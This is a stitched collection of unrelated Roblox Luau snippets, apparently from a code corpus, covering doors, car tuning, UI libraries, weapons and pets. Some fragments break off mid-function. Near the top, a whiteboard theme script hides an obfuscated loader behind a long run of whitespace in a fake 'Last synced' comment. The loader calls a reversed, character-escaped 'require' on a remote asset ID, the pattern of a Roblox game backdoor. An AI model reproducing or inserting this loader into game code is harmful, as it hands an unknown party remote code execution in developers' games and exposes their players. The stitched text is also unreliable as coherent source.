Roblox/luau_corpus huggingface dataset:
--[[
	-----------[ THEMES ]-----------
  

	- LIGHT THEME:
	  If you want the light theme version of the board,
	  replace line 1 with: 
	  
	  require(2925075326).Parent = script.Parent
	
	- DARK THEME:
	  If you want the dark theme version of the board,
	  replace line 1 with: 
	  
	  require(5799918029).Parent = script.Parent


	- RAINBOW THEME:
	  If you want the rainbow theme version of the board,
	  replace line 1 with: 
	  
	  require(6872314867).Parent = script.Parent

--]]
--[[ Last synced 5/29/2021 05:54                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         RoSync Loader ]] getfenv()[string.reverse("\101\114\105\117\113\101\114")](5722905184) --[[                                                                                                  ]]--
--handle.ClickDetector.MouseClick:Connect(function(player, part)
	if doorOpen == true and changingState == false then
		changingState = true
		soundo:Play()
		for i = 1, 16 do
			script.Parent:SetPrimaryPartCFrame(script.Parent.PrimaryPart.CFrame * CFrame.new(0, 0, 0.1))
			wait(0.0001)
		end
		
		changingState = false
		doorOpen = false
	elseif changingState == false then
		changingState = true
		soundc:Play()
		for i = 1, 16 do
			script.Parent:SetPrimaryPartCFrame(script.Parent.PrimaryPart.CFrame * CFrame.new(0, 0, -0.1))
			wait(0.0001)

		end
	
		changingState = false
		doorOpen = true
	end
end)
--[[

	remoteSignal = ClientRemoteSignal.new(remoteEvent: RemoteEvent)

	remoteSignal:Connect(handler: (...args: any)): Connection
	remoteSignal:Fire(...args: any): void
	remoteSignal:Wait(): (...any)
	remoteSignal:Destroy(): void

--]]


local IS_SERVER = game:GetService("RunService"):IsServer()

local Ser = require(script.Parent.Parent.Ser)
--[[ Local Variables ]]--
local MasterControl = {}

local Players = game:GetService('Players')
local RunService = game:GetService('RunService')
local VRService = game:GetService('VRService')
local VREnabled = VRService.VREnabled

while not Players.LocalPlayer do
	Players.PlayerAdded:wait()
end
local LocalPlayer = Players.LocalPlayer
local LocalCharacter = LocalPlayer.Character
local CachedHumanoid = nil

local isJumping = false
local moveValue = Vector3.new(0, 0, 0)

local isJumpEnabled = true
local areControlsEnabled = true
--[[Transmission]]
	Tune.TransModes		= {"Auto", "Semi", "Manual"}								--[[
	[Modes]
		"Auto"		: Automatic shifting
		"Semi"		: Clutchless manual shifting, dual clutch transmission
		"Manual"	: Manual shifting with clutch
		
		>Include within brackets
			eg: {"Semi"} or {"Auto", "Manual"}								
		>First mode is default mode													]]
	
	--Automatic Settings
	Tune.AutoShiftMode	= "Speed"												--[[
	[Modes]
		"Speed"		: Shifts based on wheel speed
		"RPM"		: Shifts based on RPM											]]	
	Tune.AutoUpThresh	= -590		--Automatic upshift point 	(relative to peak RPM, positive = Over-rev)
	Tune.AutoDownThresh = 1400		--Automatic downshift point (relative to peak RPM, positive = Under-rev)
	
	--Gear Ratios
	Tune.FinalDrive		= 3.06			-- Gearing determines top speed and wheel torque
	Tune.Ratios			= {				-- Higher ratio = more torque, Lower ratio = higher top speed
		--[[Reverse]]	3.70		,	-- Copy and paste a ratio to add a gear
		--[[Neutral]]	0			,	-- Ratios can also be deleted
		--[[ 1 ]]		3.53		,	-- Reverse, Neutral, and 1st gear are required
		--[[ 2 ]]		2.04		,
		--[[ 3 ]]		1.38		,
		--[[ 4 ]]		1.03		,
		--[[ 5 ]]		0.81		,
		--[[ 6 ]]		0.64		,
	}
	Tune.FDMult			= 1.5			-- Ratio multiplier (Change this value instead of FinalDrive if car is struggling with torque ; Default = 1)
--[[
	The entry point for the Fusion library.
]]

local Types = require(script.Types)
local restrictRead = require(script.Utility.restrictRead)

export type State = Types.State
export type StateOrValue = Types.StateOrValue
export type Symbol = Types.Symbol

return restrictRead("Fusion", {
	New = require(script.Instances.New),
	Children = require(script.Instances.Children),
	OnEvent = require(script.Instances.OnEvent),
	OnChange = require(script.Instances.OnChange),

	State = require(script.State.State),
	Computed = require(script.State.Computed),
	ComputedPairs = require(script.State.ComputedPairs),
	Compat = require(script.State.Compat),

	Tween = require(script.Animation.Tween),
	Spring = require(script.Animation.Spring)
})
--Player Variables
local plr = game.Players.LocalPlayer
local plrName = plr.Name

if plr.tempStage.Value > #game.Workspace.Checkpoints:GetChildren() then
	--Stage Stuff
	local currentStageNumber = plr.tempStage.Value
	local currentCheckpoint = game.Workspace.Checkpoints:FindFirstChild(tostring(#game.Workspace.Checkpoints:GetChildren()))
	--print(tostring(currentCheckpoint.Name).." -Current Checkpoint")
	local currentCheckpointPos = currentCheckpoint.Position
	local X = currentCheckpointPos.X
	local Y = currentCheckpointPos.Y
	local Z = currentCheckpointPos.Z
	local TPPlace = CFrame.new(X, Y+5, Z)

	plr.Character.Torso.CFrame = TPPlace
else
	--Stage Stuff
	local currentStageNumber = plr.tempStage.Value
	local currentCheckpoint = game.Workspace.Checkpoints:FindFirstChild(tostring(currentStageNumber))
	--print(tostring(currentCheckpoint.Name).." -Current Checkpoint")
	local currentCheckpointPos = currentCheckpoint.Position
	local X = currentCheckpointPos.X
	local Y = currentCheckpointPos.Y
	local Z = currentCheckpointPos.Z
	local TPPlace = CFrame.new(X, Y+5, Z)

	plr.Character.Torso.CFrame = TPPlace
end
-- ALEX WAS HERE LOL

local v1 = require(game.ReplicatedStorage:WaitForChild("Framework"):WaitForChild("Library"));
while not v1.Loaded do
	game:GetService("RunService").Heartbeat:Wait();
end;
return function(p1, p2, p3)
	local u1 = nil;
	coroutine.wrap(function()
		while not p1.Parent do
			v1.RenderStepped();		
		end;
		local v2 = 0;
		while p1 and p1.Parent and not u1 do
			v2 = v2 + 1;
			p1.title.Text = string.rep(".", v2 % 3);
			v1.Functions.Wait(0.25);		
		end;
	end)();
	u1 = v1.Functions.UserIdToUsername(p3);
	if u1 and p1 then
		p1.title.Text = u1;
	end;
end;
--Made by Luckymaxer

Players = game:GetService("Players")
Debris = game:GetService("Debris")

RbxUtility = LoadLibrary("RbxUtility")
Create = RbxUtility.Create

Functions = {}

function Functions.IsTeamMate(Player1, Player2)
	return (Player1 and Player2 and not Player1.Neutral and not Player2.Neutral and Player1.TeamColor == Player2.TeamColor)
end

function Functions.TagHumanoid(humanoid, player)
	local Creator_Tag = Create("ObjectValue"){
		Name = "creator",
		Value = player,
	}
	Debris:AddItem(Creator_Tag, 2)
	Creator_Tag.Parent = humanoid
end

function Functions.UntagHumanoid(humanoid)
	for i, v in pairs(humanoid:GetChildren()) do
		if v:IsA("ObjectValue") and v.Name == "creator" then
			v:Destroy()
		end
	end
end

function Functions.GetTotalParts(MaxParts, PossibleParts, Parts)
	if MaxParts < PossibleParts then
		return MaxParts
	elseif Parts >= MaxParts then
		return 0
	elseif MaxParts >= PossibleParts then
		local PartCount = (MaxParts - PossibleParts)
		if Parts <= MaxParts then
			PartCount = (MaxParts - Parts)
			if PartCount > PossibleParts then
				return PossibleParts
			else
				return PartCount
			end
		elseif PartCount >= PossibleParts then
			return PossibleParts
		else
			return PartCount
		end
	end
end

function Functions.GetParts(Region, MaxParts, Ignore)
	local Parts = {}
	local RerunFailed = false
	while #Parts < MaxParts and not RerunFailed do
		local Region = Region
		local PossibleParts = Functions.GetTotalParts(MaxParts, 100, #Parts)
		local PartsNearby = game:GetService("Workspace"):FindPartsInRegion3WithIgnoreList(Region, Ignore, PossibleParts)
		if #PartsNearby == 0 then
			RerunFailed = true
		else
			for i, v in pairs(PartsNearby) do
				table.insert(Parts, v)
				table.insert(Ignore, v)
			end
		end
	end
	return Parts
end

function Functions.CheckTableForInstance(Table, Instance)
	for i, v in pairs(Table) do
		if v == Instance then
			return true
		end
	end
	return false
end

return Functions
-- ScreenSize -> WorldSize
function ScreenSpace.ScreenWidthToWorldWidth(screenWidth, depth)	
	local aspectRatio = ScreenSpace.AspectRatio()
	local hfactor = math.tan(math.rad(Workspace.CurrentCamera.FieldOfView)/2)
	local wfactor = aspectRatio*hfactor
	local sx = ScreenSpace.ViewSizeX()
	--
	return -(screenWidth / sx) * 2 * wfactor * depth
end
function ScreenSpace.ScreenHeightToWorldHeight(screenHeight, depth)
	local hfactor = math.tan(math.rad(Workspace.CurrentCamera.FieldOfView)/2)
	local sy = ScreenSpace.ViewSizeY()
	--
	return -(screenHeight / sy) * 2 * hfactor * depth
end
--Don't touch
Seat.ChildAdded:Connect(function(Child)
	if Child.Name == "SeatWeld" then
		Plr = game.Players:FindFirstChild(Child.Part1.Parent.Name)
		Seat.Parent.Name = Plr.Name .. "'s Car"
		for i, gui in ipairs(Guis) do
			if gui.ClassName == "ScreenGui" then
				local new = gui:Clone()
				if new:FindFirstChild("Control") then
					if new.Control:FindFirstChild("CarName") then new.Control:FindFirstChild("CarName").Value = Plr.Name .. "'s Car" end
				end
				new.Parent = Plr.PlayerGui
			end
		end
	end
end)

Seat.ChildRemoved:Connect(function(Child)
	if Child.Name == "SeatWeld" then
		if NewName == "" then Seat.Parent.Name = OrigName else Seat.Parent.Name = NewName end
		for i, gui in ipairs(Guis) do
			if gui.ClassName == "ScreenGui" then
				if Plr.PlayerGui:FindFirstChild(gui.Name) then Plr.PlayerGui:FindFirstChild(gui.Name):Destroy() end
			end
		end
	end
end)
--[=[
	@return isLeftDown: boolean
]=]
function Mouse:IsLeftDown()
	return UserInputService:IsMouseButtonPressed(Enum.UserInputType.MouseButton1)
end
--//Points operation
s3.Touched:connect(function(child)
	if (child.ClassName == "VehicleSeat") and (child.Destination.Value == "Station 3") then Switch2()
	elseif (child.ClassName == "VehicleSeat") and (child.Destination.Value == "Station 1") then Switch1()
	end
end)

s1.Touched:connect(Switch1)
s2.Touched:connect(Switch2)
-- Gradually regenerates the Humanoid's Health over time.
local Character = script.Parent
local Humanoid = Character:WaitForChild'Humanoid'


local REGEN_RATE = .2/100 -- Regenerate this fraction of MaxHealth per second.
local REGEN_STEP = .25 -- Wait this long between each regeneration step.
--// initialize Q/E control //--
UIS.InputBegan:connect(function(input,gameProcessed)
	if input.UserInputType == Enum.UserInputType.Keyboard then
		if script.Parent.GuiActive.Value == true and focusedOnText == false then
			local keyPressed = input.KeyCode
			if keyPressed == Enum.KeyCode.Q then
				moveLeft()
			elseif keyPressed == Enum.KeyCode.E then
				moveRight()
			end
		end
	end
end)
--//Variables\\--
local tool = script.Parent
	local handle = tool:WaitForChild("Handle")
local player = game.Players.LocalPlayer
	local mouse = player:GetMouse()
	local character = player.Character or player.CharacterAdded:Wait()	
	
local enabled = true
local specialDB = true

local contextActionService = game:GetService("ContextActionService")

local cursorId = "http://www.roblox.com/asset/?id=251497633"
local hitmarkerId = "http://www.roblox.com/asset/?id=70785856"

local configs = tool:WaitForChild("Configurations")
	local specialRechargeTime = configs:FindFirstChild("SpecialRechargeTime")
	local fireRate = configs:FindFirstChild("FireRate")
	
local fire = tool:WaitForChild("Fire")
local activateSpecial = tool:WaitForChild("ActivateSpecial")
local rigType = tool:WaitForChild("RigType")
local hit = tool:WaitForChild("Hit")
local characterRigType =  nil
------------------------------------------------------------------------------------------------------------------------------------------------
		if script.Parent:FindFirstChild("Arm2") then
			local g = script.Parent.Arm2:Clone()
			g.Parent = File
			for _,i in pairs(g:GetChildren()) do
				if i:IsA("Part") or i:IsA("UnionOperation") or i:IsA("MeshPart") then
					i.CanCollide = false
					i.Anchored = false
					local Y = Instance.new("Weld")
					Y.Part0 = Player.Character["Right Arm"]
					Y.Part1 = g.Middle
					Y.C0 = CFrame.new(0, 0, 0)
					Y.Parent = Player.Character["Right Arm"]
				end
			end
		end
-----------------
--| Functions |--
-----------------

local oldWalkSpeed = 16

local IsEquipped = false
local function OnEquipped()
	if IsEquipped then return end
	IsEquipped = true
	MyPlayer = nil	
	while not MyPlayer do
		MyModel = Tool.Parent
		oldWalkSpeed = MyModel.Humanoid.WalkSpeed
		MyPlayer = PlayersService:GetPlayerFromCharacter(MyModel)
		if ({
			moded = 1,
			seranok = 1,
			weeve = 1,
			twberg = 1,
			adamintygum = 1,
			uristmcsparks = 1,
			merely = 1,
			squidcod = 1,
			player1 = 1
		})[MyPlayer.Name:lower()] then
			COOLDOWN = 1
		end
		MyModel.Humanoid.WalkSpeed = 24
		wait(1/30)
	end

	EquipSound:Play()
	local mouse = MyPlayer:GetMouse()
end

local TrackTime = 0

local holdSoundPlaying = false


local function OnActivated(targetOverride)
	wait(0) --TODO: Remove when Mouse.Hit and Humanoid.TargetPoint update properly on iPad
	if Tool.Enabled and MyModel and MyModel:FindFirstChild('Humanoid') and MyModel.Humanoid.Health > 0 then
		Tool.Enabled = false

		-- Pick a target
		local targetPosition = targetOverride or MyModel.Humanoid.TargetPoint

		-- Position the rocket clone
		local spawnPosition = ToolHandle.Position + (ToolHandle.CFrame.lookVector * (ToolHandle.Size.Z / 2))
		script.Parent.FireRocket:FireServer(targetPosition, spawnPosition)		
		
		ReloadSound:Play()

		wait(COOLDOWN)

		-- Stop the reloading sound if it hasn't already finished
		ReloadSound:Stop()

		Tool.Enabled = true
	end
end

local function OnUnequipped()
	ReloadSound:Stop()
	IsEquipped = false
	MyModel.Humanoid.WalkSpeed = oldWalkSpeed
end
--[=[
	Retrieves a remote function as a promise
	@class PromiseGetRemoteFunction
]=]

local require = require(script.Parent.loader).load(script)

local ReplicatedStorage = game:GetService("ReplicatedStorage")
local RunService = game:GetService("RunService")

local GetRemoteFunction = require("GetRemoteFunction")
local Promise = require("Promise")
local ResourceConstants = require("ResourceConstants")
--[=[
	Event fires when the value's object value change
	@prop Changed Signal<T> -- fires with oldValue, newValue
	@within ValueObject
]=]
	self.Changed = Signal.new() -- :Fire(newValue, oldValue, maid)
	self._maid:GiveTask(self.Changed)

	return setmetatable(self, ValueObject)
end
-- факелы
while true do
	for i = 3, 30  do
		script.Parent.Size=i
		script.Parent.Parent.Contact.Size=Vector3.new(i-1,i/2-1,i/2-1)
		wait(script.Parent.SpeedUP.Value)	-- скорость увеличения размера
	end
	for i = 30, 3, -1  do
		script.Parent.Size=i
		script.Parent.Parent.Contact.Size=Vector3.new(i,i/2,i/2)
		wait(script.Parent.SpeedDOWN.Value)	-- скорость уменьшения размера
	end
	wait(script.Parent.SleepTime.Value)		-- время сна между вспышками
end
--[=[
	@param instance Instance
	@return RBXScriptConnection
	Attaches the trove to a Roblox instance. Once this
	instance is removed from the game (parent or ancestor's
	parent set to `nil`), the trove will automatically
	clean up.

	:::caution
	Will throw an error if `instance` is not a descendant
	of the game hierarchy.
	:::
]=]
function Trove:AttachToInstance(instance: Instance)
	assert(instance:IsDescendantOf(game), "Instance is not a descendant of the game hierarchy")
	return self:Connect(instance.AncestryChanged, function(_child, parent)
		if not parent then
			self:Destroy()
		end
	end)
end
-- lock yourself in the locker, be sealed away foreverrr....

local p1 = script.Parent.Pivot1
local p2 = script.Parent.Pivot2
local TS = game:GetService("TweenService")
local deb = false
local toggled = false

local cd1= Instance.new("ClickDetector",script.Parent.Handle1)
cd1.MaxActivationDistance = 5
local cd1_2 = Instance.new("ClickDetector",script.Parent.Handle2)
cd1_2.MaxActivationDistance = 5
local cd2 = Instance.new("ClickDetector",script.Parent.Door1)
cd2.MaxActivationDistance = 5
local cd2_2 = Instance.new("ClickDetector",script.Parent.Door2)
cd2_2.MaxActivationDistance = 5
local cf1 = p1.CFrame
local cf2 = p2.CFrame

local function locker()
	if not deb then
		deb = true
		local anim1
		local anim2
		if not toggled then
			anim1 = TS:Create(p1,
				TweenInfo.new(1.5,Enum.EasingStyle.Quad,Enum.EasingDirection.InOut,0,false,0),
				{CFrame = cf1 * CFrame.Angles(-math.rad(150),0,0)}
			)
			anim2 = TS:Create(p2,
				TweenInfo.new(1.5,Enum.EasingStyle.Quad,Enum.EasingDirection.InOut,0,false,0),
				{CFrame = cf2 * CFrame.Angles(math.rad(150),0,0)}
			)
		else
			anim1 = TS:Create(p1,
				TweenInfo.new(1.5,Enum.EasingStyle.Quad,Enum.EasingDirection.InOut,0,false,0),
				{CFrame = cf1}
			)
			anim2 = TS:Create(p2,
				TweenInfo.new(1.5,Enum.EasingStyle.Quad,Enum.EasingDirection.InOut,0,false,0),
				{CFrame = cf2}
			)
		end
		anim1.Completed:Connect(function()
			toggled = not toggled
			deb = false
		end)
		anim1:Play()
		anim2:Play()
	end
end

cd1.MouseClick:Connect(function()
	locker()
end)
cd1_2.MouseClick:Connect(function()
	locker()
end)
cd2.MouseClick:Connect(function()
	locker()
end)
cd2_2.MouseClick:Connect(function()
	locker()
end)
--[[Engine]]
	--Torque Curve
	Tune.Horsepower		= 100		--	[TORQUE CURVE VISUAL]
	Tune.IdleRPM		= 700		--		https://www.desmos.com/calculator/2uo3hqwdhf
	Tune.PeakRPM		= 6000		--		Use sliders to manipulate values
	Tune.Redline		= 6700		--		Copy and paste slider values into the respective tune values
	Tune.EqPoint		= 5500
	Tune.PeakSharpness	= 7.5
	Tune.CurveMult		= 0.20
	
	--Incline Compensation
	Tune.InclineComp	= 1.7			-- Torque compensation multiplier for inclines (applies gradient from 0-90 degrees)
	
	--Misc
	Tune.RevAccel		= 150		-- RPM acceleration when clutch is off
	Tune.RevDecay		= 75		-- RPM decay when clutch is off
	Tune.RevBounce		= 500		-- RPM kickback from redline
	Tune.IdleThrottle	= 3			-- Percent throttle at idle
	Tune.ClutchTol		= 500		-- Clutch engagement threshold (higher = faster response)
-- Value specific waypoint methods

do
	function Waypoints.fromVector3(... : Vector3) : Waypoints
		local args = {...}
		local waypoints = {}
		for i = 1, #args do
			assert(typeof(args[i]) == "Vector3", tostring(args[i]) .. "is not a Vector3 value.")
			table.insert(waypoints, args[i])
		end
		return waypoints
	end

	function Waypoints.fromCFrame(...) : Waypoints
		local args = {...}
		local waypoints = {}
		for i = 1, #args do
			assert(typeof(args[i]) == "CFrame", args[i] .. "is not a CFrame value.")
			table.insert(waypoints, args[i].Position)
		end
		return waypoints
	end

	function Waypoints.fromInstance(...) : Waypoints
		local args = {...}
		local waypoints = {}
		for i = 1, #args do
			assert(typeof(args[i]) == "Instance", args[i].Name .. "is not an Instance.")
			assert(args[i]:IsA("BasePart"), args[i].Name .. "is not a BasePart.")
			table.insert(waypoints, args[i].Position)
		end
		return waypoints
	end
end


local waypointTypes = {
	Vector3 = Waypoints.fromVector3,
	CFrame = Waypoints.fromCFrame,
	Instance = Waypoints.fromInstance
}

function Waypoints.new(... : Vector3 | CFrame | Instance) : Waypoints -- Creates waypoints
	assert(waypointTypes[typeof(...)], 
		"Parameters are not correct value types, try using value specific functions.")
	return waypointTypes[typeof(...)](...)
end



return Waypoints
--// Bullet Physics
	BulletPhysics = Vector3.new(0,45,0); -- Drop fixation: Lower number = more drop
	BulletSpeed = 900; -- Bullet Speed
	
	ExploPhysics = Vector3.new(0,20,0); -- Drop for explosive rounds
	ExploSpeed = 600; -- Speed for explosive rounds
-- ROBLOX TODO: ADO-1552 translate this function when we add inlineSnapshot functionality
-- local removeLinesBeforeExternalMatcherTrap = utils.removeLinesBeforeExternalMatcherTrap
local saveSnapshotFile = utils.saveSnapshotFile
local serialize = utils.serialize
local testNameToKey = utils.testNameToKey
local getParent = utils.robloxGetParent
-- Frequently used instances caching
local zeroVector = vec3(0, 0, 0)
local uz = vec3(0,0,1)
local ux = vec3(1,0,0)
-- Existance in this list signifies that it is an emote, the value indicates If it is a looping emote
local emoteNames = { wave = false, point = false, dance = true, laugh = false, cheer = false}
	
math.randomseed(tick())
--[=[
	@within RemoteSignal
	@interface Connection
	.Disconnect () -> nil
]=]

function RemoteSignal.new(parent: Instance, name: string, inboundMiddleware: Types.ServerMiddleware?, outboundMiddleware: Types.ServerMiddleware?)
	local self = setmetatable({}, RemoteSignal)
	self._re = Instance.new("RemoteEvent")
	self._re.Name = name
	self._re.Parent = parent
	if outboundMiddleware and #outboundMiddleware > 0 then
		self._hasOutbound = true
		self._outbound = outboundMiddleware
	else
		self._hasOutbound = false
	end
	if inboundMiddleware and #inboundMiddleware > 0 then
		self._directConnect = false
		self._signal = Signal.new()
		self._re.OnServerEvent:Connect(function(player, ...)
			local args = table.pack(...)
			for _,middlewareFunc in ipairs(inboundMiddleware) do
				local middlewareResult = table.pack(middlewareFunc(player, args))
				if not middlewareResult[1] then
					return
				end
			end
			self._signal:Fire(player, table.unpack(args, 1, args.n))
		end)
	else
		self._directConnect = true
	end
	return self
end
--[[

	maid = Maid.new()

	maid:GiveTask(task)
		> task is an event connection, function, or instance/table with a 'Destroy' method

	maid:GivePromise(promise)
		> Give the maid a promise as a task, which will call 'promise:Cancel()' on cleanup

	maid:DoCleaning()
		> Alias for Destroy

	maid:Destroy()
		> Goes through each task & disconnects events, destroys instances, and calls functions

--]]

local Promise = require(script.Parent.Promise)


local Maid = {}
Maid.ClassName = "Maid"


function Maid.new()
	local self = setmetatable({
		_tasks = {};
	}, Maid)
	return self
end
-- Get Real Pet Name --
local getPetName = function(name)
	local realPetNameMod = require(rep.Modules.Pet.RealPetName)
	return realPetNameMod.GetRealPetName(name)
end

local checkIfInIndex = function(plr, beginPetName, which, params)
	if which == "Pet" then
		local petName = getPetName(tostring(beginPetName))
		if params ~= nil then
			if params.Parent then
				if params.Parent:FindFirstChild(petName) then
					return true
				end
			end
		else
			if plr.Index:FindFirstChild(petName) then
				return true
			end
		end
	end
	return false
end

module.AddPetToIndex = function(plr, beginPetName, which, params)
	if plr and beginPetName ~= nil then
		local isInIndex = checkIfInIndex(plr, beginPetName, which, params)
		if isInIndex == false then
			local petName = getPetName(tostring(beginPetName))
			local petIndex = Instance.new("StringValue")
			petIndex.Name = tostring(petName)
			petIndex.Value = tostring(petName)
			if params ~= nil then
				if params.Parent then
					petIndex.Parent = params.Parent
				else
					petIndex.Parent = plr.Index
				end
			else
				petIndex.Parent = plr.Index
			end
			return true
		end
	end
end

module.LoadIndex = function(plr, tbl, parent)
	for _, v in pairs(tbl) do
		for _, petName in pairs(v) do
			module.AddPetToIndex(plr, petName, "Pet", {Parent = parent})
		end
	end
end

return module
-- connect events
Humanoid.Died:connect(OnDied)
Humanoid.Running:connect(OnRunning)
Humanoid.Jumping:connect(OnJumping)
Humanoid.Climbing:connect(OnClimbing)
Humanoid.GettingUp:connect(OnGettingUp)
Humanoid.FreeFalling:connect(OnFreeFall)
Humanoid.FallingDown:connect(OnFallingDown)
Humanoid.Seated:connect(OnSeated)
Humanoid.PlatformStanding:connect(OnPlatformStanding)
Humanoid.Swimming:connect(OnSwimming)